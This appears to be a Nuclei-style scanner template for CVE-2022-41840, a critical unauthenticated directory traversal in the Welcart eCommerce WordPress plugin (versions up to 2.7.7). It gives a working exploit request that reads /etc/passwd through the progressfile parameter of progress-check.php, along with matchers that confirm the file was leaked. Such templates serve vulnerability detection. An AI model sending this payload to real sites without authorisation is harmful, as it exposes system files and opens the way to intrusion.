id: CVE-2022-41840

info:
  name: Welcart eCommerce <= 2.7.7 - Unauth Directory Traversal
  author: theamanrawat
  severity: critical
  description: |
    Unauth. Directory Traversal vulnerability in Welcart eCommerce plugin <= 2.7.7 on WordPress.
  reference:
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability
    - https://wordpress.org/plugins/usc-e-shop/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-41840
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability?_s_id=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-41840
    cwe-id: CWE-22
  metadata:
    verified: "true"
  tags: cve,cve2022,wp-plugin,wordpress,wp,lfi,unauth,usc-e-shop

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200